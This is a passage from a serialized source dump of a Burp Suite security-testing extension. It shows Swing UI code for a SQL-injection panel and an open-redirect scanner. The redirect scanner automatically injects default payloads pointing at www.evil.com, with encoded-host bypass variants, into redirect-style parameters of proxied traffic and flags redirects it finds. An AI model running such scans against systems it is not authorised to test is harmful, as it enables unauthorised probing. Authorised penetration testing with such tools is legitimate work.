scanOptionsPanel.add(passiveScanCheckBox);\n        scanOptionsPanel.add(deleteOriginalValueCheckBox);\n        scanOptionsPanel.add(checkCookieCheckBox);\n        scanOptionsPanel.add(checkHeaderCheckBox);\n        scanOptionsPanel.add(checkWhiteListCheckBox);\n        scanOptionsPanel.add(urlEncodeCheckBox);\n        scanOptionsPanel.add(booleanBlindCheckBox);\n\n        // 创建配置面板\n        JPanel configPanel = new JPanel();\n        configPanel.setLayout(new BorderLayout(5, 5));\n        configPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"sql.border.configuration\")));\n\n        // 白名单域名配置\n        JPanel whitelistPanel = new JPanel(new BorderLayout(5, 5));\n        whitelistPanel.add(whiteDomainListLabel, BorderLayout.NORTH);\n        whitelistPanel.add(whiteListTextAreascrollPane, BorderLayout.CENTER);\n        JPanel whitelistButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        whitelistButtonPanel.add(saveWhiteListButton);\n        whitelistPanel.add(whitelistButtonPanel, BorderLayout.SOUTH);\n\n        // Header检测配置\n        JPanel headerPanel = new JPanel(new BorderLayout(5, 5));\n        headerPanel.add(headerLabel, BorderLayout.NORTH);\n        headerPanel.add(headerTextAreascrollPane, BorderLayout.CENTER);\n        JPanel headerButtonPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        headerButtonPanel.add(saveHeaderListButton);\n        headerPanel.add(headerButtonPanel, BorderLayout.SOUTH);\n\n        // 将白名单和Header配置放入分割面板\n        JSplitPane configSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        configSplitPane.setResizeWeight(0.5);\n        configSplitPane.setDividerLocation(0.5);\n        configSplitPane.setTopComponent(whitelistPanel);\n        configSplitPane.setBottomComponent(headerPanel);\n        configPanel.add(configSplitPane, BorderLayout.CENTER);\n\n        // 创建操作按钮面板\n        JPanel actionButtonsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 5, 5));\n        actionButtonsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"sql.border.actions\")));\n        actionButtonsPanel.add(refreshTableButton);\n        actionButtonsPanel.add(clearTableButton);\n\n        // 将所有面板放入主面板\n        JSplitPane mainRightSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        mainRightSplitPane.setResizeWeight(0.3);\n        mainRightSplitPane.setDividerLocation(0.3);\n        mainRightSplitPane.setTopComponent(scanOptionsPanel);\n        \n        JPanel configAndActionsPanel = new JPanel(new BorderLayout(5, 5));\n        configAndActionsPanel.add(configPanel, BorderLayout.CENTER);\n        configAndActionsPanel.add(actionButtonsPanel, BorderLayout.SOUTH);\n        mainRightSplitPane.setBottomComponent(configAndActionsPanel);\n        \n        rightTopPanel.add(mainRightSplitPane, BorderLayout.CENTER);\n\n        rightSplitPane.setTopComponent(rightTopPanel);\n\n\n        // 右边的下部分左边\n        // sql payload label\n        JLabel sqlPayloadLabel = new JLabel(I18nUtils.get(\"sql.label.payload\"));\n        // sqlpayload输入框\n        // sqlpayload保存按钮\n        sqlPayloadTextArea = new JTextArea(5, 10);\n        sqlPayloadTextArea.setLineWrap(false); // 自动换行\n        sqlPayloadTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane sqlPayloadTextAreascrollPane = new JScrollPane(sqlPayloadTextArea);\n\n        saveSqlPayloadButton = new JButton(I18nUtils.get(\"sql.button.save_payload\"));\n        JPanel rightDownLeftPanel = new JPanel();\n        rightDownLeftPanel.setLayout(new BorderLayout());\n        rightDownLeftPanel.add(sqlPayloadLabel, BorderLayout.NORTH);\n        rightDownLeftPanel.add(sqlPayloadTextAreascrollPane, BorderLayout.CENTER);\n        rightDownLeftPanel.add(saveSqlPayloadButton, BorderLayout.SOUTH);\n        // 右边的下部分左边\n        JLabel sqlErrKey = new JLabel(I18nUtils.get(\"sql.label.error_key\"));\n        sqlErrorKeyTextArea = new JTextArea(5, 10);\n        sqlErrorKeyTextArea.setLineWrap(false); // 自动换行\n        sqlErrorKeyTextArea.setWrapStyleWord(false); // 按单词换行\n        JScrollPane sqlErrorKeyTextAreascrollPane = new JScrollPane(sqlErrorKeyTextArea);\n        saveSqlErrorKeyButton = new JButton(I18nUtils.get(\"sql.button.save_error_key\"));\n        JPanel rightDownRightPanel = new JPanel();\n        rightDownRightPanel.setLayout(new BorderLayout());\n        rightDownRightPanel.add(sqlErrKey, BorderLayout.NORTH);\n        rightDownRightPanel.add(sqlErrorKeyTextAreascrollPane, BorderLayout.CENTER);\n        rightDownRightPanel.add(saveSqlErrorKeyButton, BorderLayout.SOUTH);\n        // 左右分割面板添加rightDownLeftPanel和rightDownRightPanel\n        JSplitPane rightDownPanel = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        rightDownPanel.setResizeWeight(0.5);\n        rightDownPanel.setDividerLocation(0.5);\n        rightDownPanel.setTopComponent(rightDownLeftPanel);\n        rightDownPanel.setBottomComponent(rightDownRightPanel);\n        rightSplitPane.setBottomComponent(rightDownPanel);\n\n        panel.add(leftSplitPane, BorderLayout.CENTER);\n        panel.add(rightSplitPane, BorderLayout.EAST);\n\n    }\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"SqlInject\";\n    }\n\n    // url 实体类\n    public static class UrlEntry {\n        final int id;\n        final String method;\n        final String url;\n        final int length;\n        final String status;\n        final IHttpRequestResponse requestResponse;\n\n        UrlEntry(int id, String method, String url, int length, String status, IHttpRequestResponse requestResponse) {\n            this.id = id;\n            this.method = method;\n            this.url = url;\n            this.length = length;\n            this.status = status;\n            this.requestResponse = requestResponse;\n        }\n    }\n\n    // payload 实体类\n    public static class PayloadEntry {\n        final int selectId;\n        final String key;\n        final String value;\n        final int length;\n        final String change;\n        final String errkey;\n        final String time;\n        final String status;\n        final IHttpRequestResponse requestResponse;\n\n        PayloadEntry(int selectId, String key, String value, int length, String change, String errkey, String time, String status, IHttpRequestResponse requestResponse) {\n            this.selectId = selectId;\n            this.key = key;\n            this.value = value;\n            this.length = length;\n            this.change = change;\n            this.errkey = errkey;\n            this.time = time;\n            this.status = status;\n            this.requestResponse = requestResponse;\n        }\n    }\n\n    // url 模型\n    static class UrlModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return urldata.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 5;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            switch (columnIndex) {\n                case 0:\n                    return urldata.get(rowIndex).id;\n                case 1:\n                    return urldata.get(rowIndex).method;\n                case 2:\n                    return urldata.get(rowIndex).url;\n                case 3:\n                    return urldata.get(rowIndex).length;\n                case 4:\n                    return urldata.get(rowIndex).status;\n                default:\n                    return null;\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"id\";\n                case 1:\n                    return \"method\";\n                case 2:\n                    return \"url\";\n                case 3:\n                    return \"length\";\n                case 4:\n                    return \"status\";\n                default:\n                    return null;\n            }\n        }\n        \n        @Override\n        public Class<?> getColumnClass(int column) {\n            if (column == 0) {\n                return Integer.class;\n            }\n            return super.getColumnClass(column);\n        }\n    }\n\n    // Payload 模型\n    static class PayloadModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return payloaddata.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 7;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            switch (columnIndex) {\n                case 0:\n                    return payloaddata.get(rowIndex).key;\n                case 1:\n                    return payloaddata.get(rowIndex).value;\n                case 2:\n                    return payloaddata.get(rowIndex).length;\n                case 3:\n                    return payloaddata.get(rowIndex).change;\n                case 4:\n                    return payloaddata.get(rowIndex).errkey;\n                case 5:\n                    return payloaddata.get(rowIndex).time;\n                case 6:\n                    return payloaddata.get(rowIndex).status;\n                default:\n                    return null;\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"Parameter\";\n                case 1:\n                    return \"Value\";\n                case 2:\n                    return \"Response Length\";\n                case 3:\n                    return \"Change\";\n                case 4:\n                    return \"Error\";\n                case 5:\n                    return \"Time\";\n                case 6:\n                    return \"Status Code\";\n                default:\n                    return null;\n            }\n        }\n    }\n\n    // url 表格\n    private class URLTable extends JTable {\n        public URLTable(AbstractTableModel model) {\n            super(model);\n            setAutoCreateRowSorter(true);\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n            columnModel.getColumn(1).setMaxWidth(100);\n        }\n\n        @Override\n        public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) {\n            // 如果表格已排序，需要将视图索引转换为模型索引\n            int modelRow = rowIndex;\n            if (getRowSorter() != null) {\n                modelRow = convertRowIndexToModel(rowIndex);\n            }\n            \n            UrlEntry logEntry = urldata.get(modelRow);\n            int select_id = logEntry.id;\n            payloaddata.clear();\n            for (PayloadEntry payloadEntry : payloaddata2) {\n                if (payloadEntry.selectId == select_id) {\n                    payloaddata.add(payloadEntry);\n                }\n            }\n            payloadtable.updateUI();\n\n\n            model.fireTableRowsInserted(payloaddata.size(), payloaddata.size());\n            model.fireTableDataChanged();\n            HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);\n            if (logEntry.requestResponse.getResponse() == null) {\n                HResponseTextEditor.setMessage(new byte[0], false);\n            } else {\n                HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);\n            }\n            currentlyDisplayedItem = logEntry.requestResponse;\n            super.changeSelection(rowIndex, columnIndex, toggle, extend);\n        }\n    }\n\n    // payload 表格\n    private class PayloadTable extends JTable {\n        public PayloadTable(AbstractTableModel model) {\n            super(model);\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n            columnModel.getColumn(6).setMaxWidth(50);\n        }\n\n        @Override\n        public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) {\n\n            PayloadEntry dataEntry = payloaddata.get(rowIndex);\n            HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true);\n            if (dataEntry.requestResponse.getResponse() == null) {\n                HResponseTextEditor.setMessage(new byte[0], false);\n            } else {\n                HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false);\n            }\n            currentlyDisplayedItem = dataEntry.requestResponse;\n            super.changeSelection(rowIndex, columnIndex, toggle, extend);\n        }\n    }\n\n}"
  },
  {
    "path": "src/main/java/burp/ui/UIHandler.java",
    "content": "package burp.ui;\n\nimport burp.IBurpExtenderCallbacks;\n\nimport javax.swing.*;\n\npublic interface UIHandler {\n    void init();\n\n    JPanel getPanel(IBurpExtenderCallbacks callbacks);\n\n    String getTabName();\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/UIHepler/GridBagConstraintsHelper.java",
    "content": "package burp.ui.UIHepler;\n\nimport java.awt.*;\n\n/**\n * @Author Xm17\n * @Date 2024-06-14 10:50\n */\npublic class GridBagConstraintsHelper extends GridBagConstraints {\n\n    /**\n\n     *\n\n     */\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n\n     * 指定组件起始网格的构造函数\n\n     *\n\n     * @param gridx 水平方向上的起始网格\n\n     * @param gridy 竖直方向上的起始网格\n\n     */\n\n    public GridBagConstraintsHelper(int gridx, int gridy) {\n\n        this.gridx = gridx;\n\n        this.gridy = gridy;\n\n    }\n\n    /**\n\n     * 指定组件起始网格与跨度的构造函数\n\n     *\n\n     * @param gridx 水平方向起始网格\n\n     * @param gridy 竖直方向起始网格\n\n     * @param gridwidth 水平方向占据的网格数目\n\n     * @param gridheight 竖直方向占据的网格数目\n\n     */\n\n    public GridBagConstraintsHelper(int gridx, int gridy, int gridwidth, int gridheight) {\n\n        this.gridx = gridx;\n\n        this.gridy = gridy;\n\n        this.gridwidth = gridwidth;\n\n        this.gridheight = gridheight;\n\n    }\n\n    /**\n\n     * 设置组件在网格中的摆放方式\n\n     *\n\n     * @param anchor 组件的摆放方式\n\n     * @return 当前操作对象\n\n     */\n\n    public GridBagConstraintsHelper setAnchor(int anchor) {\n\n        this.anchor = anchor;\n\n        return this;\n\n    }\n\n    /**\n\n     * 设置组件在网格中的拉伸方式\n\n     *\n\n     * @param fill 组件的拉伸方式\n\n     * @return 当前操作对象\n\n     */\n\n    public GridBagConstraintsHelper setFill(int fill) {\n\n        this.fill = fill;\n\n        return this;\n\n    }\n\n    /**\n\n     * 设置网格的拉伸程度\n\n     *\n\n     * @param weightx 水平方向的拉伸程度\n\n     * @param weighty 竖直方向的拉伸程度\n\n     * @return 当前操作对象\n\n     */\n\n    public GridBagConstraintsHelper setWeight(double weightx, double weighty) {\n\n        this.weightx = weightx;\n\n        this.weighty = weighty;\n\n        return this;\n\n    }\n\n    /**\n\n     * 统一设置组件与网格四周的间隔\n\n     *\n\n     * @param distance 四周的间隔长度\n\n     * @return 当前操作对象\n\n     */\n\n    public GridBagConstraintsHelper setInsets(int distance) {\n\n        this.insets = new Insets(distance, distance, distance, distance);\n\n        return this;\n\n    }\n\n    /**\n\n     * 分别设置组件与网格四周的间隔\n\n     *\n\n     * @param top 组件上方与网格的距离\n\n     * @param left 组件左方与网格的距离\n\n     * @param bottom 组件下方与网格的距离\n\n     * @param right 组件右方与网格的距离\n\n     * @return 当前操作对象\n\n     */\n\n    public GridBagConstraintsHelper setInsets(int top, int left, int bottom, int right) {\n\n        this.insets = new Insets(top, left, bottom, right);\n\n        return this;\n\n    }\n\n    /**\n\n     * 设置组件拉伸长度\n\n     *\n\n     * @param ipadx 水平方向拉伸的长度\n\n     * @param ipady 竖直方向拉伸的长度\n\n     * @return 当前操作对象\n\n     */\n\n    public GridBagConstraintsHelper setIpad(int ipadx, int ipady) {\n\n        this.ipadx = ipadx;\n\n        this.ipady = ipady;\n\n        return this;\n\n    }\n\n}\n\n"
  },
  {
    "path": "src/main/java/burp/ui/UrlRedirectUI.java",
    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.utils.I18nUtils;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport javax.swing.table.AbstractTableModel;\nimport javax.swing.table.DefaultTableModel;\nimport javax.swing.table.TableModel;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.io.FileReader;\nimport java.net.URL;\nimport java.util.*;\nimport java.util.List;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\nimport java.util.regex.Pattern;\n\n/**\n * URL重定向扫描UI类\n * 实现了UIHandler和IMessageEditorController接口\n */\npublic class UrlRedirectUI implements UIHandler, IMessageEditorController, IHttpListener {\n    // UI组件\n    private JPanel mainPanel;                // 主面板\n    private static JTable urlTable;          // URL表格\n    private JButton btnClear;                // 清除按钮\n    private JTabbedPane requestPane;         // 请求面板\n    private JTabbedPane responsePane;        // 响应面板\n    private JCheckBox chkPassiveScan;        // 被动扫描开关\n\n    // Burp组件\n    private static IHttpRequestResponse currentlyDisplayedItem;  // 当前显示的请求/响应\n    private static IMessageEditor requestViewer;                // 请求查看器\n    private static IMessageEditor responseViewer;               // 响应查看器\n\n    // 数据存储\n    private static final List<RedirectEntry> redirectLog = new ArrayList<>();  // 重定向日志\n    private static final Lock lock = new ReentrantLock();                     // 线程锁\n\n    // 设置组件\n    private static DefaultTableModel payloadModel;  // payload表格模型\n    private static DefaultTableModel paramModel;    // 参数表格模型\n\n\n    @Override\n    public void init() {\n        setupUI();    // 初始化UI\n        setupData();  // 初始化数据\n    }\n\n    /**\n     * 初始化UI组件\n     */\n    private void setupUI() {\n        Utils.callbacks.registerHttpListener(this);\n        mainPanel = new JPanel(new BorderLayout());\n\n        // 创建主水平分割面板\n        JSplitPane horizontalSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        horizontalSplitPane.setResizeWeight(0.8); // 左侧占80%的空间\n\n        // 左侧面板(包含表格和查看器)\n        JPanel leftPanel = new JPanel(new BorderLayout());\n\n        // 创建顶部面板，包含清除按钮和被动扫描开关\n        JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.RIGHT));\n        chkPassiveScan = new JCheckBox(I18nUtils.get(\"redirect.checkbox.passive\"), false);  // 默认开启\n        btnClear = new JButton(I18nUtils.get(\"redirect.button.clear\"));\n        topPanel.add(chkPassiveScan);\n        topPanel.add(btnClear);\n        leftPanel.add(topPanel, BorderLayout.NORTH);\n\n        // 设置主要内容区域，包含表格和查看器\n        JSplitPane leftSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        leftSplitPane.setResizeWeight(0.5);\n\n        // 设置URL表格\n        urlTable = new RedirectTable(new RedirectModel());\n        urlTable.setAutoCreateRowSorter(true);\n        leftSplitPane.setTopComponent(new JScrollPane(urlTable));\n\n        // 设置请求/响应查看器\n        JSplitPane viewerSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        viewerSplitPane.setResizeWeight(0.5);\n        setupViewers(viewerSplitPane);\n        leftSplitPane.setBottomComponent(viewerSplitPane);\n\n        leftPanel.add(leftSplitPane, BorderLayout.CENTER);\n\n        // 右侧设置面板\n        JPanel rightPanel = setupSettingsPanel();\n\n        // 设置右侧面板最小宽度\n        rightPanel.setMinimumSize(new Dimension(250, 400));\n        rightPanel.setPreferredSize(new Dimension(250, 400));\n\n        // 将左右面板添加到水平分割面板\n        horizontalSplitPane.setLeftComponent(leftPanel);\n        horizontalSplitPane.setRightComponent(rightPanel);\n\n        // 设置分割面板的分隔条位置\n        horizontalSplitPane.setDividerLocation(0.8);\n        horizontalSplitPane.setResizeWeight(0.8);\n\n        mainPanel.add(horizontalSplitPane, BorderLayout.CENTER);\n\n        // 设置整个面板的首选大小\n        mainPanel.setPreferredSize(new Dimension(1200, 800));\n    }\n\n    /**\n     * 设置请求响应查看器\n     */\n    private void setupViewers(JSplitPane viewerSplitPane) {\n        requestPane = new JTabbedPane();\n        responsePane = new JTabbedPane();\n\n        requestViewer = Utils.callbacks.createMessageEditor(this, false);\n        responseViewer = Utils.callbacks.createMessageEditor(this, false);\n\n        requestPane.addTab(\"Request\", requestViewer.getComponent());\n        responsePane.addTab(\"Response\", responseViewer.getComponent());\n\n        viewerSplitPane.setLeftComponent(requestPane);\n        viewerSplitPane.setRightComponent(responsePane);\n    }\n\n    /**\n     * 生成重定向测试payload\n     */\n    private static List<String> generateRedirectPayloads(String host) {\n        List<String> payloads = new ArrayList<>();\n\n        // 从payload表格中获取所有payload\n        for (int i = 0; i < payloadModel.getRowCount(); i++) {\n            payloads.add((String) payloadModel.getValueAt(i, 0));\n        }\n\n        // 如果没有自定义payload，使用默认payload\n        if (payloads.isEmpty()) {\n            payloads.addAll(Arrays.asList(\n                    \"https://\" + host + \"%40www.evil.com\",\n                    \"https://www.evil.com%2F\" + host,\n                    \"https://www.evil.com%3F\" + host,\n                    \"https://www.evil.com%23\" + host,\n                    \"https://www.evil.com%5C\" + host,\n                    \"https://www.evil.com%2E\" + host,\n                    \"//www.evil.com\",\n                    \"http://www.evil.com\",\n                    \"https://www.evil.com\"\n            ));\n        }\n\n        return payloads;\n    }\n\n    /**\n     * 设置配置面板\n     */\n    private JPanel setupSettingsPanel() {\n        JPanel settingsPanel = new JPanel();\n        settingsPanel.setLayout(new BoxLayout(settingsPanel, BoxLayout.Y_AXIS));\n        settingsPanel.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"redirect.border.settings\")));\n\n        // 创建表格模型\n        paramModel = new DefaultTableModel(new String[]{I18nUtils.get(\"redirect.label.parameter\")}, 0);\n        payloadModel = new DefaultTableModel(new String[]{I18nUtils.get(\"redirect.label.payloads\")}, 0);\n\n        // 设置默认参数\n        String[] defaultParams = {\n                \"redirect\",\"redirect_to\",\"url\",\"jump\",\"target\",\"to\",\"link\",\"goto\",\"return_url\",\"next\",\"returnUrl\",\"return\",\"redirectUrl\",\"callback\",\"toUrl\",\"ReturnUrl\",\"fromUrl\",\"redUrl\",\"request\",\"redirect_url\",\"jump_to\",\"linkto\",\"domain\",\"oauth_callback\"\n        };\n\n        // 设置默认payload\n        String[] defaultPayloads = {\n        };\n\n        // 创建并添加面板（带默认值）\n        settingsPanel.add(createInputPanel(\"Parameters\", paramModel, defaultParams));\n        settingsPanel.add(createInputPanel(\"Payloads\", payloadModel, defaultPayloads));\n\n        // 设置最小宽度以防止组件被压缩\n        settingsPanel.setMinimumSize(new Dimension(250, 400));\n        settingsPanel.setPreferredSize(new Dimension(250, 400));\n\n        return settingsPanel;\n    }\n\n    /**\n     * 创建输入面板\n     *\n     * @param title         面板标题\n     * @param model         表格模型\n     * @param defaultValues 默认值\n     * @return 配置面板\n     */\n    private JPanel createInputPanel(String title, DefaultTableModel model, String... defaultValues) {\n        // 创建主面板，使用BorderLayout布局\n        JPanel panel = new JPanel(new BorderLayout());\n        panel.setBorder(BorderFactory.createTitledBorder(title));\n\n        // 创建输入和按钮面板，使用固定大小\n        JPanel inputPanel = new JPanel();\n        inputPanel.setLayout(new BoxLayout(inputPanel, BoxLayout.X_AXIS));\n        inputPanel.setMinimumSize(new Dimension(200, 30));\n        inputPanel.setPreferredSize(new Dimension(200, 30));\n\n        // 创建输入框\n        final JTextField inputField = new JTextField(20);\n        inputField.setMinimumSize(new Dimension(120, 25));\n        inputField.setPreferredSize(new Dimension(120, 25));\n        // 添加回车键监听\n        inputField.addActionListener(e -> {\n            String value = inputField.getText().trim();\n            if (!value.isEmpty()) {\n                // 检查是否重复\n                boolean isDuplicate = false;\n                for (int i = 0; i < model.getRowCount(); i++) {\n                    if (value.equals(model.getValueAt(i, 0))) {\n                        isDuplicate = true;\n                        break;\n                    }\n                }\n                if (!isDuplicate) {\n                    model.addRow(new Object[]{value});\n                    inputField.setText(\"\");\n                }\n            }\n        });\n        inputPanel.add(inputField);\n        inputPanel.add(Box.createHorizontalStrut(5)); // 添加间隔\n\n        // 创建按钮面板\n        JPanel buttonPanel = new JPanel(new FlowLayout(FlowLayout.RIGHT, 2, 0));\n        JButton addBtn = new JButton(I18nUtils.get(\"redirect.button.add\"));\n        JButton clearBtn = new JButton(I18nUtils.get(\"redirect.button.clear\"));\n\n        buttonPanel.add(addBtn);\n        buttonPanel.add(clearBtn);\n        inputPanel.add(buttonPanel);\n\n        // 创建表格面板\n        JTable table = new JTable(model);\n        // 设置表格可以选择整行\n        table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);\n        JScrollPane tableScroll = new JScrollPane(table);\n        tableScroll.setMinimumSize(new Dimension(200, 100));\n\n        // 添加组件到主面板\n        panel.add(inputPanel, BorderLayout.NORTH);\n        panel.add(tableScroll, BorderLayout.CENTER);\n\n        // 添加按钮事件监听\n        addBtn.addActionListener(e -> {\n            String value = inputField.getText().trim();\n            if (!value.isEmpty()) {\n                // 检查是否重复\n                boolean isDuplicate = false;\n                for (int i = 0; i < model.getRowCount(); i++) {\n                    if (value.equals(model.getValueAt(i, 0))) {\n                        isDuplicate = true;\n                        break;\n                    }\n                }\n                if (!isDuplicate) {\n                    model.addRow(new Object[]{value});\n                    inputField.setText(\"\");\n                }\n            }\n        });\n\n        clearBtn.addActionListener(e -> {\n            model.setRowCount(0);\n            inputField.setText(\"\");\n            // 如果有默认值，重新添加\n            if (defaultValues != null) {\n                for (String value : defaultValues) {\n                    model.addRow(new Object[]{value});\n                }\n            }\n        });\n\n        // 添加默认值到表格\n        if (defaultValues != null) {\n            for (String value : defaultValues) {\n                model.addRow(new Object[]{value});\n            }\n        }\n\n        return panel;\n    }\n\n    /**\n     * 初始化数据和事件监听\n     */\n    private void setupData() {\n        // 清除按钮事件\n        btnClear.addActionListener(e -> {\n            redirectLog.clear();\n            requestViewer.setMessage(new byte[0], true);\n            responseViewer.setMessage(new byte[0], false);\n            urlTable.updateUI();\n        });\n    }\n\n    /**\n     * 核心扫描逻辑\n     */\n    public static void scan(IHttpRequestResponse baseRequestResponse) {\n        lock.lock();\n        try {\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String method = analyzeRequest.getMethod();\n            URL url = analyzeRequest.getUrl();\n\n            // 检查URL是否在排除列表中\n            if (Utils.isUrlBlackListSuffix(url.toString())) {\n                return;\n            }\n\n            // 生成并测试重定向payload\n            List<String> redirectPayloads = generateRedirectPayloads(url.getHost());\n            for (String payload : redirectPayloads) {\n                testRedirect(baseRequestResponse, payload, method);\n            }\n        } finally {\n            lock.unlock();\n        }\n    }\n\n    /**\n     * 测试重定向\n     * @param baseRequestResponse 原始的请求响应对\n     * @param payload 要测试的payload\n     * @param method HTTP方法\n     */\n    private static void testRedirect(IHttpRequestResponse baseRequestResponse, String payload, String method) {\n        IRequestInfo requestInfo = Utils.helpers.analyzeRequest(baseRequestResponse);\n\n        // 获取当前请求中的所有参数\n        List<IParameter> parameters = requestInfo.getParameters();\n\n        // 获取配置的测试参数列表\n        List<String> testParams = new ArrayList<>();\n        for (int i = 0; i < paramModel.getRowCount(); i++) {\n            testParams.add((String) paramModel.getValueAt(i, 0));\n        }\n\n        // 如果没有配置参数，使用默认参数\n        if (testParams.isEmpty()) {\n            testParams.addAll(Arrays.asList(\n                    \"redirect\",\"redirect_to\",\"url\",\"jump\",\"target\",\"to\",\"link\",\"goto\",\"return_url\",\"next\",\"returnUrl\",\"return\",\"redirectUrl\",\"callback\",\"toUrl\",\"ReturnUrl\",\"fromUrl\",\"redUrl\",\"request\",\"redirect_url\",\"jump_to\",\"linkto\",\"domain\",\"oauth_callback\"\n\n            ));\n        }\n\n        // 遍历当前请求中的所有参数\n        for (IParameter parameter : parameters) {\n            // 只处理URL参数\n            if (parameter.getType() != IParameter.PARAM_URL) {\n                continue;\n            }\n\n            // 检查参数名是否在测试列表中\n            if (testParams.contains(parameter.getName())) {\n                // 构建新的参数值（使用payload替换原值）\n                IParameter newParam = Utils.helpers.buildParameter(\n                        parameter.getName(),\n                        payload,\n                        IParameter.PARAM_URL\n                );\n\n                // 更新请求参数\n                byte[] newRequest = Utils.helpers.updateParameter(\n                        baseRequestResponse.getRequest(),\n                        newParam\n                );\n\n                // 发送请求\n                IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(\n                        baseRequestResponse.getHttpService(),\n                        newRequest\n                );\n\n                // 检查响应\n                IResponseInfo responseInfo = Utils.helpers.analyzeResponse(response.getResponse());\n\n                // 判断是否存在漏洞：检查状态码和Location头\n                boolean isVulnerable = false;\n                if (responseInfo.getStatusCode() == 302 || responseInfo.getStatusCode() == 301) {\n                    // 获取Location头\n                    List<String> headers = responseInfo.getHeaders();\n                    for (String header : headers) {\n                        if (header.toLowerCase().startsWith(\"location:\")) {\n                            String location = header.substring(9).trim();\n                            // 检查location是否包含payload\n                            if (location.contains(\"evil.com\")) {\n                                isVulnerable = true;\n                                break;\n                            }\n                        }\n                    }\n\n                    // 记录重定向发现\n                    synchronized (redirectLog) {\n                        redirectLog.add(new RedirectEntry(\n                                redirectLog.size(),\n                                method,\n                                requestInfo.getUrl().toString(),\n                                parameter.getName(),\n                                String.valueOf(responseInfo.getStatusCode()),\n                                isVulnerable,\n                                Utils.callbacks.saveBuffersToTempFiles(response)\n                        ));\n                        urlTable.updateUI();\n                    }\n                }\n            }\n        }\n    }\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        return mainPanel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"UrlRedirect\";\n    }\n\n    @Override\n    public IHttpService getHttpService() {\n        return currentlyDisplayedItem.getHttpService();\n    }\n\n    @Override\n    public byte[] getRequest() {\n        return currentlyDisplayedItem.getRequest();\n    }\n\n    @Override\n    public byte[] getResponse() {\n        return currentlyDisplayedItem.getResponse();\n    }\n\n    @Override\n    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) {\n        if (toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) {\n            scan(iHttpRequestResponse);\n        }\n\n    }\n\n    private static class RedirectTable extends JTable {\n        public RedirectTable(TableModel model) {\n            super(model);\n            // 设置列宽\n            getColumnModel().getColumn(0).setMaxWidth(50);  // ID列\n            getColumnModel().getColumn(1).setMaxWidth(80);  // 方法列\n            getColumnModel().getColumn(4).setMaxWidth(80);  // 状态码列\n        }\n\n        @Override\n        public void changeSelection(int row, int col, boolean toggle, boolean extend) {\n            // 如果表格已排序，需要将视图索引转换为模型索引\n            int modelRow = row;\n            if (getRowSorter() != null) {\n                modelRow = convertRowIndexToModel(row);\n            }\n            \n            RedirectEntry entry = redirectLog.get(modelRow);\n            // 更新请求响应查看器\n            requestViewer.setMessage(entry.requestResponse.getRequest(), true);\n            responseViewer.setMessage(entry.requestResponse.getResponse(), false);\n            currentlyDisplayedItem = entry.requestResponse;\n            super.changeSelection(row, col, toggle, extend);\n        }\n    }\n\n    private static class RedirectModel extends AbstractTableModel {\n        // 将COLUMNS修改为包含是否存在漏洞的列\n        private final String[] COLUMNS = {\"#\", \"Method\", \"URL\", I18nUtils.get(\"redirect.label.parameter\"), \"Status Code\", \"Vulnerable\"};\n\n        @Override\n        public int getRowCount() {\n            return redirectLog.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return COLUMNS.length;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            RedirectEntry entry = redirectLog.get(rowIndex);\n            switch (columnIndex) {\n                case 0:\n                    return entry.id;\n                case 1:\n                    return entry.method;\n                case 2:\n                    return entry.url;\n                case 3:\n                    return entry.parameter;\n                case 4:\n                    return entry.statusCode;\n                case 5:\n                    return entry.isVulnerable ? I18nUtils.get(\"redirect.value.yes\") : 